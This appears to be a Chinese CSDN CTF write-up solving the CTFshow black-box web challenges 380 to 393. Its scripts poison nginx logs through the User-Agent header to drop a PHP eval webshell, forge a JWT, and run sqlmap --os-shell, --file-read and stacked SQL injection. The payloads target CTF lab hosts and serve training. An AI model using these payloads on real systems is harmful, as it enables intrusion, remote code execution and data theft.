php黑盒测试,CTFSHOW黑盒测试篇

本文详细介绍了多个CTF(网络安全竞赛)挑战的解决过程,涉及Web安全领域的常见漏洞,如目录扫描、SQL注入、文件包含、权限提升等。通过payload构造、扫描工具使用及PHP代码利用,逐步揭示获取flag的方法,同时提供了部分Python代码示例进行漏洞利用。
摘要由CSDN通过智能技术生成

文章目录

web380

payload

后台目录扫描发现page.php,什么,没有扫到,那就自己添加到扫描器的字典里吧。

page.php?id=flag

web381

payload

808d9471f34892f5ee5794683b1d099a.png

地址在源码里面

b63dfe1eee50c6e54e444f0d43b2a2b4.png

web382、383

还是上面的地址,万能密码登录得到flag

50e8bebb55c11db98eb691ac3b94ba48.png

web384

字典生成

import string

s1=string.ascii_lowercase

s2=string.digits

f=open('dict.txt','w')

for i in s1:

for j in s1:

for k in s2:

for l in s2:

for m in s2:

p=i+j+k+l+m

f.write(p+"\n")

f.close()

登录的时候抓包爆破

db08d2d5498913603140139c692cbb87.png

6f51cc892167e1c1ff5faef18431dec1.png

几率是676000分之一。。。。。还是在用户名如果真的是admin的前提下

payload admin xy123

web385

扫描后台得到/install

25e638adece4c537a67b67332640afc4.png

按照他说的访问install/?install

然后再去登录,如果大家上面题目用sql注入注出用户名密码会发现是admin admin888

登录就能得到flag了

web386

通过扫描后台发现clear.php和install

访问install

e29ca123bd4f6df172ec748f7af43362.png

访问clear.php直接显示清理完成

盲猜一波file参数,删个index.php试试

50d1a4c9c338fee6ea8a55beee5c4cae.png

哎呦还真可以

f602f1a13f0ada79c853f6295cdec77a.png

那直接把lock.dat删了,lock.dat在linstall下

a75ee207fc92e7fb38a5c82106e1dce3.png

剩下的就是上一题的重复了。

访问install/?install初始化账号密码

然后admin admin888登录

web387

接着扫描后台发现/debug,访问提示file not exit,那我们给他一个参数

47ef07c0fcdebfc55eaadf4b1ee2b502.png

存在文件包含,尝试包含日志,发现可以成功file=/var/log/nginx/access.log

c6084c9bb464d91fcc91227ee8402008.png

那直接在UA里面写一句话就可以了,然后再包含日志

610002f392d31e81a378e19b20e9df68.png

发现没成功,但是在源码里面看到如下内容,也就是传的参数没有被结束

a3e49b91c6b3da8188e7346930cbe34c.png

那我们直接利用php吧dat文件删除是不是就可以了。

写入如下内容

然后再去访问install/?install,发现确实成功了。

353d922f2614f557b9bb199d8f210d6c.png

剩下的就是登录拿flag了。。

388

非预期解,可以写日志但是做了一些限制,所以绕过就好了。

payload:

import requests

import base64

url="http://fb707431-ebb7-41c8-9ce7-57da16163fec.chall.ctf.show/"

url2="http://fb707431-ebb7-41c8-9ce7-57da16163fec.chall.ctf.show/debug/?file=/var/log/nginx/access.log"

cmd=b"<?php eval($_POST[1]);?>"

cmd=base64.b64encode(cmd).decode()

headers={

'User-Agent':'''<?php system('echo {0}|base64 -d > /var/www/html/b.php');?>'''.format(cmd)

}

print(headers)

requests.get(url=url,headers=headers)

requests.get(url2)

print(requests.post(url+'b.php',data={'1':'system("cat alsckdfy/check.php");'}).text)

预期解参考视频https://www.bilibili.com/video/BV16A411W7GP

web389

在上题的基础上整了个jwt伪造

类似于web377 https://blog.csdn.net/miuzzx/article/details/111936737

然后将得到的jwt串放到脚本中

import requests

import base64

url="http://bf2e6fca-c437-4f5b-90c3-75b4087cfdc5.chall.ctf.show/"

url2="http://bf2e6fca-c437-4f5b-90c3-75b4087cfdc5.chall.ctf.show/debug/?file=/var/log/nginx/access.log"

cmd=b"<?php eval($_POST[1]);?>"

cmd=base64.b64encode(cmd).decode()

headers={

'User-Agent':'''<?php system('echo {0}|base64 -d > /var/www/html/b.php');?>'''.format(cmd),

'Cookie':'auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYxMDQ0MDA5MSwiZXhwIjoxNjEwNDQ3MjkxLCJuYmYiOjE2MTA0NDAwOTEsInN1YiI6ImFkbWluIiwianRpIjoiYzNlM2U5NjQ4OGI3NWY0MzY4YmE4Njg0ZTRjZWJlZTQifQ.hEV8CkkdvhKsNL_OrssrBzjzstVhq7_sQNefiuplSqU'

}

print(headers)

requests.get(url=url,headers=headers)

requests.get(url2,headers=headers)

print(requests.post(url+'b.php',data={'1':'system("cat alsckdfy/check.php");'},headers=headers).text)

web390

在page.php页面存在sql注入

sqlmap一句话搞定

python sqlmap.py -u http://fdbabc63-b2f3-4050-8b2e-9f5ee609119a.chall.ctf.show/page.php?id=2 --file-read /var/www/html/alsckdfy/check.php --batch

运行完会将文件保存在你的本地,直接访问就拿到flag

7f9660224bda669032bb7a5fb2ac9e7c.png

web391

注入点不在page.php了,在输入标题的地方(随便点个页面就能看到)

d99324fdee68fde98ca970e57b32d654.png

继续sqlmap

python sqlmap.py -u http://042a780b-dfd3-4bd9-861c-81661b2915e0.chall.ctf.show/search.php?title=1 --file-read /var/www/html/alsckdfy/check.php --batch

web392

flag在/flag

python sqlmap.py -u http://175efaca-626f-46a6-bddd-68246b90c5f5.chall.ctf.show/search.php?title=1 --os-shell

235d29acec2b77fec7569aa42d949e89.png

fb47d0c08e531c24336a68b92bf594cb.png

web393

还是先用原来的方法直接进到shell里面,发下不行,读文件也不行,然后试了下–sql-shell可以成功。

但是也是无法使用load_file 和outfile。那我们看下和上个题的界面有哪些不同。

在最后面发现有个搜索引擎

699c02d7cc0031b8ac4cac382366f6c8.png

随便访问一个发现其实是读取的百度的前端代码。那么如果把地址改成file:///flag,或者自己再添加一个url是不是就可以了。

先利用sqlmap跑出来数据库的表名列名

48dd28c1a41cded0c844d90b35e8581f.png

192697f8d491651e1b0ff9f54258a443.png

payload:

search.php?title=1';insert into link values(10,'a','file:///flag');(在search.php页面存在堆叠注入)

然后访问link.php?id=10就能得到flag

标签:黑盒,file,url,install,headers,flag,CTFSHOW,测试,php

来源: https://blog.csdn.net/miuzzx/article/details/112522873

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值